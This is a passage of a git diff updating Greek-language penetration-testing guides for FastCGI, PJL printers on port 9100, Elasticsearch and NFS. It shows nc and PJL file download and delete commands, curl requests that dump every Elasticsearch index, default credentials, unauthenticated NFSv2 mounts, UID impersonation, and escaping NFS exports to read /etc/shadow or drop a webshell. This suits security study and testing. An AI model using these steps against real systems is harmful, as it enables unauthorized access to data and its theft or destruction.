nmap. **Συνήθως** το FastCGI ακούει μόνο σε **localhost**. -# RCE +## RCE Είναι αρκετά εύκολο να κάνετε το FastCGI να εκτελεί αυθαίρετο κώδικα: ```bash diff --git a/src/network-services-pentesting/9100-pjl.md b/src/network-services-pentesting/9100-pjl.md index b5a14fe3b..bec8a4317 100644 --- a/src/network-services-pentesting/9100-pjl.md +++ b/src/network-services-pentesting/9100-pjl.md @@ -1,18 +1,20 @@ +# 9100/tcp - PJL (Γλώσσα Εργασίας Εκτυπωτή) + {{#include ../banners/hacktricks-training.md}} -# Βασικές Πληροφορίες +## Βασικές Πληροφορίες -Από [εδώ](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Η ακατέργαστη εκτύπωση είναι αυτό που ορίζουμε ως τη διαδικασία σύνδεσης με την θύρα 9100/tcp ενός δικτυακού εκτυπωτή. Είναι η προεπιλεγμένη μέθοδος που χρησιμοποιείται από το CUPS και την αρχιτεκτονική εκτύπωσης των Windows για να επικοινωνεί με τους δικτυακούς εκτυπωτές, καθώς θεωρείται ως ‘_η πιο απλή, γρήγορη και γενικά η πιο αξιόπιστη δικτυακή πρωτόκολλο που χρησιμοποιείται για εκτυπωτές_’. Η ακατέργαστη εκτύπωση στη θύρα 9100, που αναφέρεται επίσης ως JetDirect, AppSocket ή PDL-datastream, στην πραγματικότητα **δεν είναι ένα πρωτόκολλο εκτύπωσης από μόνο του**. Αντίθετα, **όλα τα δεδομένα που αποστέλλονται επεξεργάζονται άμεσα από τη συσκευή εκτύπωσης**, όπως μια παράλληλη σύνδεση μέσω TCP. Σε αντίθεση με το LPD, IPP και SMB, αυτό μπορεί να στείλει άμεση ανατροφοδότηση στον πελάτη, συμπεριλαμβανομένων μηνυμάτων κατάστασης και σφαλμάτων. Ένα τέτοιο **αμφίδρομο κανάλι** μας δίνει άμεση **πρόσβαση** στα **αποτελέσματα** των **PJL**, **PostScript** ή **PCL** εντολών. Επομένως, η ακατέργαστη εκτύπωση στη θύρα 9100 – που υποστηρίζεται από σχεδόν οποιονδήποτε δικτυακό εκτυπωτή – χρησιμοποιείται ως το κανάλι για την ανάλυση ασφάλειας με το PRET και το PFT. +Από [εδώ](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Η ακατέργαστη εκτύπωση είναι αυτό που ορίζουμε ως τη διαδικασία σύνδεσης στην θύρα 9100/tcp ενός δικτυακού εκτυπωτή. Είναι η προεπιλεγμένη μέθοδος που χρησιμοποιείται από το CUPS και την αρχιτεκτονική εκτύπωσης των Windows για να επικοινωνεί με τους δικτυακούς εκτυπωτές, καθώς θεωρείται ως ‘_η πιο απλή, γρήγορη και γενικά η πιο αξιόπιστη δικτυακή πρωτόκολλο που χρησιμοποιείται για εκτυπωτές_’. Η ακατέργαστη εκτύπωση στην θύρα 9100, που αναφέρεται επίσης ως JetDirect, AppSocket ή PDL-datastream, στην πραγματικότητα **δεν είναι ένα πρωτόκολλο εκτύπωσης από μόνο του**. Αντίθετα, **όλα τα δεδομένα που αποστέλλονται επεξεργάζονται άμεσα από τη συσκευή εκτύπωσης**, όπως μια παράλληλη σύνδεση μέσω TCP. Σε αντίθεση με το LPD, IPP και SMB, αυτό μπορεί να στείλει άμεση ανατροφοδότηση στον πελάτη, συμπεριλαμβανομένων μηνυμάτων κατάστασης και σφαλμάτων. Ένα τέτοιο **αμφίδρομο κανάλι** μας δίνει άμεση **πρόσβαση** στα **αποτελέσματα** των **PJL**, **PostScript** ή **PCL** εντολών. Επομένως, η ακατέργαστη εκτύπωση στην θύρα 9100 – που υποστηρίζεται από σχεδόν οποιονδήποτε δικτυακό εκτυπωτή – χρησιμοποιείται ως το κανάλι για ανάλυση ασφάλειας με το PRET και το PFT. -Αν θέλετε να μάθετε περισσότερα για [**την εκτύπωση hacking διαβάστε αυτή τη σελίδα**](http://hacking-printers.net/wiki/index.php/Main_Page). +Αν θέλετε να μάθετε περισσότερα για [**την εκμετάλλευση εκτυπωτών διαβάστε αυτή τη σελίδα**](http://hacking-printers.net/wiki/index.php/Main_Page). **Προεπιλεγμένη θύρα:** 9100 ``` 9100/tcp open jetdirect ``` -# Αρίθμηση +## Αρίθμηση -## Χειροκίνητα +### Χειροκίνητα ```bash nc -vn 9100 @PJL INFO STATUS #CODE=40000 DISPLAY="Sleep" ONLINE=TRUE @@ -29,7 +31,7 @@ nc -vn 9100 @PJL FSDOWNLOAD #Useful to download a file @PJL FSDELETE #Useful to delete a file ``` -## Αυτόματη +### Αυτόματη ```bash nmap -sV --script pjl-ready-message -p ``` @@ -48,11 +50,12 @@ msf> use auxiliary/scanner/printer/printer_delete_file Αυτό είναι το εργαλείο που θέλετε να χρησιμοποιήσετε για να εκμεταλλευτείτε τους εκτυπωτές: + {{#ref}} https://github.com/RUB-NDS/PRET {{#endref}} -# **Shodan** +## **Shodan** - `pjl port:9100` diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md index 1c65a765d..783679a0d 100644 --- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md +++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md @@ -4,17 +4,17 @@ ## Basic information -Elasticsearch είναι μια **κατανεμημένη**, **ανοιχτού κώδικα** μηχανή αναζήτησης και ανάλυσης για **όλους τους τύπους δεδομένων**. Είναι γνωστή για την **ταχύτητά** της, **κλιμακωσιμότητα** και **απλές REST APIs**. Χτισμένη πάνω στον Apache Lucene, κυκλοφόρησε για πρώτη φορά το 2010 από την Elasticsearch N.V. (τώρα γνωστή ως Elastic). Το Elasticsearch είναι το βασικό συστατικό του Elastic Stack, μιας συλλογής εργαλείων ανοιχτού κώδικα για την εισαγωγή, εμπλουτισμό, αποθήκευση, ανάλυση και οπτικοποίηση δεδομένων. Αυτή η στοίβα, που αναφέρεται συνήθως ως ELK Stack, περιλαμβάνει επίσης το Logstash και το Kibana, και τώρα έχει ελαφριούς πράκτορες αποστολής δεδομένων που ονομάζονται Beats. +Elasticsearch είναι μια **κατανεμημένη**, **ανοιχτού κώδικα** μηχανή αναζήτησης και ανάλυσης για **όλους τους τύπους δεδομένων**. Είναι γνωστή για την **ταχύτητά** της, **κλιμακωσιμότητα** και **απλές REST APIs**. Χτισμένο πάνω στον Apache Lucene, κυκλοφόρησε για πρώτη φορά το 2010 από την Elasticsearch N.V. (τώρα γνωστή ως Elastic). Το Elasticsearch είναι το βασικό συστατικό του Elastic Stack, μιας συλλογής εργαλείων ανοιχτού κώδικα για την εισαγωγή, εμπλουτισμό, αποθήκευση, ανάλυση και οπτικοποίηση δεδομένων. Αυτή η στοίβα, που αναφέρεται συνήθως ως ELK Stack, περιλαμβάνει επίσης το Logstash και το Kibana, και τώρα έχει ελαφρούς πράκτορες αποστολής δεδομένων που ονομάζονται Beats. ### What is an Elasticsearch index? -Ένας **δείκτης** Elasticsearch είναι μια συλλογή **σχετικών εγγράφων** που αποθηκεύονται ως **JSON**. Κάθε έγγραφο αποτελείται από **κλειδιά** και τις αντίστοιχες **τιμές** τους (αλφαριθμητικά, αριθμούς, booleans, ημερομηνίες, πίνακες, γεωτοποθεσίες κ.λπ.). +Ένας **δείκτης** Elasticsearch είναι μια συλλογή **σχετικών εγγράφων** που αποθηκεύονται ως **JSON**. Κάθε έγγραφο αποτελείται από **κλειδιά** και τις αντίστοιχες **τιμές** τους (αλφαριθμητικά, αριθμούς, booleans, ημερομηνίες, πίνακες, γεωτοποθεσίες, κ.λπ.). Το Elasticsearch χρησιμοποιεί μια αποδοτική δομή δεδομένων που ονομάζεται **αντεστραμμένος δείκτης** για να διευκολύνει τις γρήγορες αναζητήσεις πλήρους κειμένου. Αυτός ο δείκτης καταγράφει κάθε μοναδική λέξη στα έγγραφα και προσδιορίζει τα έγγραφα στα οποία εμφανίζεται κάθε λέξη. Κατά τη διαδικασία ευρετηρίασης, το Elasticsearch αποθηκεύει τα έγγραφα και κατασκευάζει τον αντεστραμμένο δείκτη, επιτρέποντας σχεδόν αναζητήσεις σε πραγματικό χρόνο. Η **index API** χρησιμοποιείται για την προσθήκη ή την ενημέρωση εγγράφων JSON εντός ενός συγκεκριμένου δείκτη. -**Προεπιλεγμένη θύρα**: 9200/tcp +**Default port**: 9200/tcp ## Manual Enumeration @@ -28,7 +28,7 @@ Elasticsearch είναι μια **κατανεμημένη**, **ανοιχτού ### Authentication -**Από προεπιλογή, το Elasticsearch δεν έχει ενεργοποιημένη την αυθεντικοποίηση**, οπότε από προεπιλογή μπορείτε να έχετε πρόσβαση σε όλα τα δεδομένα της βάσης χωρίς να χρησιμοποιήσετε οποιαδήποτε διαπιστευτήρια. +**Από προεπιλογή, το Elasticsearch δεν έχει ενεργοποιημένη την αυθεντικοποίηση**, οπότε από προεπιλογή μπορείτε να έχετε πρόσβαση σε όλα τα δεδομένα της βάσης χωρίς να χρησιμοποιήσετε διαπιστευτήρια. Μπορείτε να επιβεβαιώσετε ότι η αυθεντικοποίηση είναι απενεργοποιημένη με ένα αίτημα προς: ```bash @@ -39,7 +39,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user" ```bash {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401} ``` -Αυτό σημαίνει ότι η αυθεντικοποίηση είναι ρυθμισμένη και **χρειάζεστε έγκυρα διαπιστευτήρια** για να αποκτήσετε οποιαδήποτε πληροφορία από το elasticsearch. Στη συνέχεια, μπορείτε να [**δοκιμάσετε να το σπάσετε**](../generic-hacking/brute-force.md#elasticsearch) (χρησιμοποιεί HTTP basic auth, οπότε οτιδήποτε μπορεί να σπάσει το BF HTTP basic auth μπορεί να χρησιμοποιηθεί).\ +Αυτό σημαίνει ότι η αυθεντικοποίηση είναι ρυθμισμένη και **χρειάζεστε έγκυρα διαπιστευτήρια** για να αποκτήσετε οποιαδήποτε πληροφορία από το elasticsearch. Στη συνέχεια, μπορείτε να [**δοκιμάσετε να το σπάσετε**](../generic-hacking/brute-force.md#elasticsearch) (χρησιμοποιεί HTTP basic auth, οπότε οτιδήποτε μπορεί να σπάσει το HTTP basic auth μπορεί να χρησιμοποιηθεί).\ Εδώ έχετε μια **λίστα με προεπιλεγμένα ονόματα χρήστη**: _**elastic** (superuser), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Οι παλαιότερες εκδόσεις του Elasticsearch έχουν τον προεπιλεγμένο κωδικό πρόσβασης **changeme** για αυτόν τον χρήστη. ``` curl -X GET http://user:password@IP:9200/ @@ -57,7 +57,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/" ``` ### Elastic Info -Εδώ είναι μερικά endpoints που μπορείτε να **πρόσβαση μέσω GET** για να **λάβετε** κάποιες **πληροφορίες** σχετικά με το elasticsearch: +Εδώ είναι μερικά endpoints που μπορείτε να **πρόσβαση μέσω GET** για να **αποκτήσετε** κάποιες **πληροφορίες** σχετικά με το elasticsearch: | \_cat | /\_cluster | /\_security | | ------------------------------ | ----------------------------- | ------------------------ | @@ -86,7 +86,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/" | /\_cat/nodeattrs | | | | /\_cat/nodes | | | -Αυτά τα endpoints ήταν [**παρμένα από την τεκμηρίωση**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) όπου μπορείτε να **βρείτε περισσότερα**.\ +Αυτά τα endpoints [**λήφθηκαν από την τεκμηρίωση**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) όπου μπορείτε να **βρείτε περισσότερα**.\ Επίσης, αν αποκτήσετε πρόσβαση στο `/_cat`, η απάντηση θα περιέχει τα `/_cat/*` endpoints που υποστηρίζονται από την εγκατάσταση. Στο `/_security/user` (αν είναι ενεργοποιημένη η αυθεντικοποίηση) μπορείτε να δείτε ποιος χρήστης έχει ρόλο `superuser`. @@ -118,12 +118,12 @@ _Πάρτε μια στιγμή για να συγκρίνετε τα περιε ### Dump all -Για να εξάγετε όλα μπορείτε απλά να πάτε στο **ίδιο μονοπάτι όπως πριν αλλά χωρίς να υποδείξετε κανέναν δείκτη** `http://host:9200/_search?pretty=true` όπως `http://10.10.10.115:9200/_search?pretty=true`\ -Θυμηθείτε ότι σε αυτή την περίπτωση θα εφαρμοστεί το **προεπιλεγμένο όριο των 10** αποτελεσμάτων. Μπορείτε να χρησιμοποιήσετε την παράμετρο `size` για να εξάγετε **μεγαλύτερο αριθμό αποτελεσμάτων**. Διαβάστε την προηγούμενη ενότητα για περισσότερες πληροφορίες. +Για να εξάγετε όλα μπορείτε απλά να πάτε στον **ίδιο δρόμο όπως πριν αλλά χωρίς να υποδείξετε κανέναν δείκτη** `http://host:9200/_search?pretty=true` όπως `http://10.10.10.115:9200/_search?pretty=true`\ +Θυμηθείτε ότι σε αυτή την περίπτωση θα εφαρμοστεί το **προεπιλεγμένο όριο των 10** αποτελεσμάτων. Μπορείτε να χρησιμοποιήσετε την παράμετρο `size` για να εξάγετε μια **μεγαλύτερη ποσότητα αποτελεσμάτων**. Διαβάστε την προηγούμενη ενότητα για περισσότερες πληροφορίες. ### Search -Αν ψάχνετε για κάποιες πληροφορίες μπορείτε να κάνετε μια **ωμή αναζήτηση σε όλους τους δείκτες** πηγαίνοντας στο `http://host:9200/_search?pretty=true&q=` όπως στο `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell` +Αν ψάχνετε για κάποιες πληροφορίες μπορείτε να κάνετε μια **ακατέργαστη αναζήτηση σε όλους τους δείκτες** πηγαίνοντας στο `http://host:9200/_search?pretty=true&q=` όπως στο `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell` ![](<../images/image (335).png>) @@ -145,9 +145,9 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j "name" : "how to get a job" }' ``` -Αυτή η εντολή θα δημιουργήσει έναν **νέο δείκτη** με το όνομα `bookindex` με ένα έγγραφο τύπου `books` που έχει τα χαρακτηριστικά "_bookId_", "_author_", "_publisher_" και "_name_" +Αυτή η εντολή θα δημιουργήσει ένα **νέο ευρετήριο** που ονομάζεται `bookindex` με ένα έγγραφο τύπου `books` που έχει τα χαρακτηριστικά "_bookId_", "_author_", "_publisher_" και "_name_" -Παρατηρήστε πώς ο **νέος δείκτης εμφανίζεται τώρα στη λίστα**: +Παρατηρήστε πώς το **νέο ευρετήριο εμφανίζεται τώρα στη λίστα**: ![](<../images/image (130).png>) diff --git a/src/network-services-pentesting/nfs-service-pentesting.md b/src/network-services-pentesting/nfs-service-pentesting.md index 6accfa4b9..079866c11 100644 --- a/src/network-services-pentesting/nfs-service-pentesting.md +++ b/src/network-services-pentesting/nfs-service-pentesting.md @@ -4,7 +4,7 @@ ## **Βασικές Πληροφορίες** -**NFS** είναι ένα σύστημα σχεδιασμένο για **client/server** που επιτρέπει στους χρήστες να έχουν απρόσκοπτη πρόσβαση σε αρχεία μέσω ενός δικτύου, σαν να βρίσκονταν αυτά τα αρχεία σε τοπικό κατάλογο. +**NFS** είναι ένα σύστημα σχεδιασμένο για **client/server** που επιτρέπει στους χρήστες να έχουν πρόσβαση σε αρχεία μέσω ενός δικτύου, σαν να βρίσκονται αυτά τα αρχεία σε τοπικό κατάλογο. **Προεπιλεγμένη θύρα**: 2049/TCP/UDP (εκτός από την έκδοση 4, χρειάζεται μόνο TCP ή UDP). ``` @@ -14,50 +14,50 @@ Ένα αξιοσημείωτο χαρακτηριστικό αυτού του πρωτοκόλλου είναι η συνήθης έλλειψη ενσωματωμένων **μηχανισμών αυθεντικοποίησης** ή **εξουσιοδότησης**. Αντίθετα, η εξουσιοδότηση βασίζεται σε **πληροφορίες συστήματος αρχείων**, με τον διακομιστή να έχει την ευθύνη να μεταφράσει με ακρίβεια τις **παρεχόμενες από τον πελάτη πληροφορίες χρήστη** στη απαιτούμενη **μορφή εξουσιοδότησης** του συστήματος αρχείων, ακολουθώντας κυρίως τη **σύνταξη UNIX**. -Η αυθεντικοποίηση συνήθως βασίζεται σε **αναγνωριστικά `UID`/`GID` UNIX και μέλη ομάδων**. Ωστόσο, προκύπτει μια πρόκληση λόγω της πιθανής ασυμφωνίας στις **χαρτογραφήσεις `UID`/`GID`** μεταξύ πελατών και διακομιστών, αφήνοντας κανένα περιθώριο για επιπλέον επαλήθευση από τον διακομιστή. Επιπλέον, αυτές οι λεπτομέρειες αποστέλλονται από τον πελάτη και εμπιστεύονται από τον διακομιστή, οπότε ένας κακόβουλος πελάτης θα μπορούσε δυνητικά να **παριστάνει έναν άλλο χρήστη στέλνοντας πιο προνομιούχους `uid` και `gid`. +Η αυθεντικοποίηση συνήθως βασίζεται σε **αναγνωριστικά `UID`/`GID` UNIX και μέλη ομάδων**. Ωστόσο, προκύπτει μια πρόκληση λόγω της πιθανής ασυμφωνίας στις **χαρτογραφήσεις `UID`/`GID`** μεταξύ πελατών και διακομιστών, αφήνοντας κανένα περιθώριο για επιπλέον επαλήθευση από τον διακομιστή. Επιπλέον, αυτές οι λεπτομέρειες αποστέλλονται από τον πελάτη και εμπιστεύονται από τον διακομιστή, οπότε ένας κακόβουλος πελάτης θα μπορούσε δυνητικά να **παριστάνει έναν άλλο χρήστη στέλνοντας πιο προνομιούχους `uid` και `gid`**. -**Ωστόσο, σημειώστε ότι από προεπιλογή δεν είναι δυνατή η μίμηση του `UID` 0 (root) χρησιμοποιώντας NFS. Περισσότερα για αυτό στην ενότητα squashing.** +**Ωστόσο, σημειώστε ότι από προεπιλογή δεν είναι δυνατή η παριστάνωση του `UID` 0 (root) χρησιμοποιώντας NFS. Περισσότερα σχετικά με αυτό στην ενότητα squashing.** #### Hosts -Για καλύτερη (ή κάποια) εξουσιοδότηση, μπορείτε να καθορίσετε τους **διακομιστές** που μπορούν να έχουν πρόσβαση στο NFS share. Αυτό μπορεί να γίνει στο αρχείο Linux `/etc/exports`. Για παράδειγμα: +Για καλύτερη (ή κάποια) εξουσιοδότηση, μπορείτε να καθορίσετε τους **hosts** που μπορούν να έχουν πρόσβαση στο NFS share. Αυτό μπορεί να γίνει στο αρχείο Linux `/etc/exports`. Για παράδειγμα: ``` /PATH/TO/EXPORT      CLIENT1(OPTIONS1) CLIENT2(OPTIONS2) ... /media/disk/share   192.168.2.123(rw,sec=krb5p:krb5i) ``` -Όπως μπορείτε να δείτε, επιτρέπει τη ρύθμιση μιας συγκεκριμένης **IP** ή **hostname** για την πρόσβαση στο share. Μόνο αυτή η διεύθυνση θα μπορεί να έχει πρόσβαση στο share. +As you can see, it allows to configure a specific **IP** or **hostname** to access the share. Only that address will be able to access the share. -### Εκδόσεις +### Versions - **NFSv2**: Αυτή η έκδοση αναγνωρίζεται για την ευρεία συμβατότητά της με διάφορα συστήματα, επισημαίνοντας τη σημασία της με τις αρχικές λειτουργίες κυρίως μέσω UDP. Όντας η **παλαιότερη** στη σειρά, έθεσε τα θεμέλια για μελλοντικές εξελίξεις. - **NFSv3**: Εισήχθη με μια σειρά βελτιώσεων, το NFSv3 επεκτάθηκε σε σχέση με τον προκάτοχό του υποστηρίζοντας μεταβλητά μεγέθη αρχείων και προσφέροντας βελτιωμένους μηχανισμούς αναφοράς σφαλμάτων. Παρά τις προόδους του, αντιμετώπισε περιορισμούς στην πλήρη οπισθοδρόμηση συμβατότητας με πελάτες NFSv2. -- **NFSv4**: Μια ορόσημο έκδοση στη σειρά NFS, το NFSv4 παρουσίασε μια σειρά χαρακτηριστικών σχεδιασμένων να εκσυγχρονίσουν την κοινή χρήση αρχείων μέσω δικτύων. Σημαντικές βελτιώσεις περιλαμβάνουν την ενσωμάτωση του Kerberos για **υψηλή ασφάλεια**, τη δυνατότητα διέλευσης τειχών προστασίας και λειτουργίας μέσω του Διαδικτύου χωρίς την ανάγκη για portmappers, υποστήριξη για Access Control Lists (ACLs) και την εισαγωγή λειτουργιών βασισμένων σε κατάσταση. Οι βελτιώσεις στην απόδοση και η υιοθέτηση ενός πρωτοκόλλου με κατάσταση διακρίνουν το NFSv4 ως μια καθοριστική πρόοδο στις τεχνολογίες κοινής χρήσης δικτυακών αρχείων. -- Σημειώστε ότι είναι πολύ περίεργο να βρείτε έναν Linux host NFS που να υποστηρίζει την αυθεντικοποίηση kerberos. +- **NFSv4**: Μια ορόσημο έκδοση στη σειρά NFS, το NFSv4 παρουσίασε μια σειρά χαρακτηριστικών σχεδιασμένων να εκσυγχρονίσουν την κοινή χρήση αρχείων μέσω δικτύων. Σημαντικές βελτιώσεις περιλαμβάνουν την ενσωμάτωση του Kerberos για **υψηλή ασφάλεια**, τη δυνατότητα διέλευσης τειχών προστασίας και λειτουργίας μέσω του Διαδικτύου χωρίς την ανάγκη για portmappers, υποστήριξη για Λίστες Ελέγχου Πρόσβασης (ACLs) και την εισαγωγή καταστάσεων λειτουργίας. Οι βελτιώσεις στην απόδοση και η υιοθέτηση ενός πρωτοκόλλου με κατάσταση διακρίνουν το NFSv4 ως μια καθοριστική πρόοδο στις τεχνολογίες κοινής χρήσης αρχείων δικτύου. +- Σημειώστε ότι είναι πολύ περίεργο να βρείτε έναν υπολογιστή Linux NFS που να υποστηρίζει την αυθεντικοποίηση kerberos. Κάθε έκδοση του NFS έχει αναπτυχθεί με σκοπό να καλύψει τις εξελισσόμενες ανάγκες των δικτυακών περιβαλλόντων, προοδευτικά ενισχύοντας την ασφάλεια, τη συμβατότητα και την απόδοση. ### Squashing -Όπως αναφέρθηκε προηγουμένως, το NFS συνήθως εμπιστεύεται το `uid` και το `gid` του πελάτη για την πρόσβαση στα αρχεία (αν δεν χρησιμοποιείται kerberos). Ωστόσο, υπάρχουν κάποιες ρυθμίσεις που μπορούν να οριστούν στον διακομιστή για να **αλλάξουν αυτή τη συμπεριφορά**: +Όπως αναφέρθηκε προηγουμένως, το NFS συνήθως εμπιστεύεται το `uid` και το `gid` του πελάτη για να αποκτήσει πρόσβαση στα αρχεία (αν δεν χρησιμοποιείται kerberos). Ωστόσο, υπάρχουν κάποιες ρυθμίσεις που μπορούν να οριστούν στον διακομιστή για να **αλλάξουν αυτή τη συμπεριφορά**: - **all_squash**: Συμπιέζει όλες τις προσβάσεις χαρτογραφώντας κάθε χρήστη και ομάδα σε **`nobody`** (65534 unsigned / -2 signed). Επομένως, όλοι είναι `nobody` και δεν χρησιμοποιούνται χρήστες. - **root_squash/no_all_squash**: Αυτό είναι προεπιλεγμένο σε Linux και **συμπιέζει μόνο την πρόσβαση με uid 0 (root)**. Επομένως, οποιοδήποτε `UID` και `GID` εμπιστεύονται αλλά το `0` συμπιέζεται σε `nobody` (έτσι δεν είναι δυνατή η προσποίηση root). - **no_root_squash**: Αυτή η ρύθμιση αν ενεργοποιηθεί δεν συμπιέζει ούτε τον χρήστη root. Αυτό σημαίνει ότι αν τοποθετήσετε έναν κατάλογο με αυτή τη ρύθμιση μπορείτε να έχετε πρόσβαση σε αυτόν ως root. -### Έλεγχος υποκαταλόγου +### Subtree check -Διαθέσιμο μόνο σε Linux. man(5) exports λέει: "Αν ένας υποκατάλογος ενός συστήματος αρχείων εξάγεται, αλλά ολόκληρο το σύστημα αρχείων δεν εξάγεται, τότε κάθε φορά που φτάνει ένα αίτημα NFS, ο διακομιστής πρέπει να ελέγξει όχι μόνο ότι το προσβαλλόμενο αρχείο είναι στο κατάλληλο σύστημα αρχείων (που είναι εύκολο) αλλά και ότι είναι στο εξαγόμενο δέντρο (που είναι πιο δύσκολο). Αυτός ο έλεγχος ονομάζεται έλεγχος υποκαταλόγου." +Διαθέσιμο μόνο σε Linux. man(5) exports λέει: "Αν ένας υποκατάλογος ενός συστήματος αρχείων εξάγεται, αλλά ολόκληρο το σύστημα αρχείων δεν είναι, τότε κάθε φορά που φτάνει ένα αίτημα NFS, ο διακομιστής πρέπει να ελέγξει όχι μόνο ότι το προσβάσιμο αρχείο είναι στο κατάλληλο σύστημα αρχείων (που είναι εύκολο) αλλά και ότι είναι στο εξαγόμενο δέντρο (που είναι πιο δύσκολο). Αυτός ο έλεγχος ονομάζεται έλεγχος υποδέντρου." Στο Linux, η **λειτουργία `subtree_check` είναι απενεργοποιημένη** από προεπιλογή. -## Αριθμητική +## Enumeration ### Showmount -Αυτό μπορεί να χρησιμοποιηθεί για να **πάρετε πληροφορίες από έναν διακομιστή NFSv3**, όπως η λίστα των **exports**, ποιος είναι **επιτρεπτός να έχει πρόσβαση** σε αυτές τις εξαγωγές και ποιοι πελάτες είναι συνδεδεμένοι (που μπορεί να είναι ανακριβές αν ένας πελάτης αποσυνδεθεί χωρίς να ενημερώσει τον διακομιστή). -Στους **NFSv4 οι πελάτες απλά έχουν άμεση πρόσβαση στο /export** και προσπαθούν να αποκτήσουν πρόσβαση σε εξαγωγές από εκεί, αποτυγχάνοντας αν είναι μη έγκυρες ή μη εξουσιοδοτημένες για οποιονδήποτε λόγο. +Αυτό μπορεί να χρησιμοποιηθεί για να **πάρετε πληροφορίες από έναν διακομιστή NFSv3**, όπως η λίστα των **εξαγωγών**, ποιος είναι **επιτρεπτός να έχει πρόσβαση** σε αυτές τις εξαγωγές και ποιοι πελάτες είναι συνδεδεμένοι (που μπορεί να είναι ανακριβές αν ένας πελάτης αποσυνδεθεί χωρίς να ενημερώσει τον διακομιστή). +Στους **πελάτες NFSv4, απλά έχουν άμεση πρόσβαση στο /export** και προσπαθούν να αποκτήσουν πρόσβαση σε εξαγωγές από εκεί, αποτυγχάνοντας αν είναι μη έγκυρες ή μη εξουσιοδοτημένες για οποιονδήποτε λόγο. Αν εργαλεία όπως το `showmount` ή τα modules του Metasploit δεν δείχνουν πληροφορίες από μια θύρα NFS, είναι πιθανώς ένας διακομιστής NFSv4 που δεν υποστηρίζει την έκδοση 3. ```bash @@ -87,7 +87,7 @@ showmount -e ```bash mount -t nfs [-o vers=2] : -o nolock ``` -Πρέπει να καθορίσετε να **χρησιμοποιήσετε την έκδοση 2** επειδή δεν έχει **καμία** **αυθεντικοποίηση** ή **εξουσιοδότηση**. +Πρέπει να καθορίσετε να **χρησιμοποιήσετε την έκδοση 2** γιατί δεν έχει **καμία** **αυθεντικοποίηση** ή **εξουσιοδότηση**. **Παράδειγμα:** ```bash @@ -103,7 +103,7 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock - Αν τοποθετήσετε ένα φάκελο που περιέχει **αρχεία ή φακέλους προσβάσιμους μόνο από κάποιον χρήστη** (με **UID**). Μπορείτε να **δημιουργήσετε** **τοπικά** έναν χρήστη με αυτό το **UID** και χρησιμοποιώντας αυτόν τον **χρήστη** θα μπορείτε να **έχετε πρόσβαση** στο αρχείο/φάκελο. - Το εργαλείο **`fuse_nfs`** από [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) θα στέλνει πάντα το απαραίτητο UID και GID για να έχετε πρόσβαση στα αρχεία. -### SUID Κλιμάκωση Προνομίων +### SUID Privilege Escalation Ελέγξτε τη σελίδα: @@ -113,19 +113,19 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock ### Διαφυγή από τις εξαγωγές -Σε αυτό το [σπουδαίο άρθρο](https://www.hvs-consulting.de/en/nfs-security-identifying-and-exploiting-misconfigurations/) είναι δυνατόν να δείτε ότι είναι δυνατόν να **διαφύγετε από τις εξαγωγές για να έχετε πρόσβαση σε άλλους φακέλους στο FS**. +Σε αυτό το [υπέροχο άρθρο](https://www.hvs-consulting.de/en/nfs-security-identifying-and-exploiting-misconfigurations/) είναι δυνατόν να δείτε ότι είναι δυνατόν να **διαφύγετε από τις εξαγωγές για να έχετε πρόσβαση σε άλλους φακέλους στο FS**. Επομένως, αν μια εξαγωγή εξάγει έναν φάκελο που είναι **υποφάκελος** του **ολόκληρου συστήματος αρχείων**, είναι δυνατόν να έχετε πρόσβαση σε αρχεία εκτός της εξαγωγής αν το **`subtree_check`** είναι απενεργοποιημένο. Και είναι **απενεργοποιημένο από προεπιλογή στο Linux**. Για παράδειγμα, αν ένας NFS server εξάγει το `/srv/` και το `/var/` είναι στο ίδιο σύστημα αρχείων, είναι δυνατόν να διαβάσετε τα logs από το `/var/log/` ή να αποθηκεύσετε ένα webshell στο `/var/www/`. -Επιπλέον, σημειώστε ότι από προεπιλογή μόνο ο χρήστης root (0) προστατεύεται από την προσποίηση (ελέγξτε την ενότητα Squash). Ωστόσο, αν ένα αρχείο είναι **κατοχυρωμένο από τον root αλλά η ομάδα δεν είναι 0, είναι δυνατόν να έχετε πρόσβαση σε αυτό**. Για παράδειγμα, το αρχείο `/etc/shadow` είναι κατοχυρωμένο από τον root αλλά η ομάδα είναι `shadow` (gid 42 στο Debian). Επομένως, είναι δυνατόν να το διαβάσετε από προεπιλογή! +Επιπλέον, σημειώστε ότι από προεπιλογή μόνο ο χρήστης root (0) είναι προστατευμένος από την προσποίηση (ελέγξτε την ενότητα Squash). Ωστόσο, αν ένα αρχείο είναι **κατοχυρωμένο από τον root αλλά η ομάδα δεν είναι 0, είναι δυνατόν να έχετε πρόσβαση σε αυτό**. Για παράδειγμα, το αρχείο `/etc/shadow` είναι κατοχυρωμένο από τον root αλλά η ομάδα είναι `shadow` (gid 42 στο Debian). Επομένως, είναι δυνατόν να το διαβάσετε από προεπιλογή! Το εργαλείο **`nfs_analyze`** από [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) έχει κατασκευαστεί για να υποστηρίζει αυτή την επίθεση κατά των συστημάτων αρχείων ext4, xfs, btrfs στην έκδοση 3 (θα πρέπει επίσης να είναι 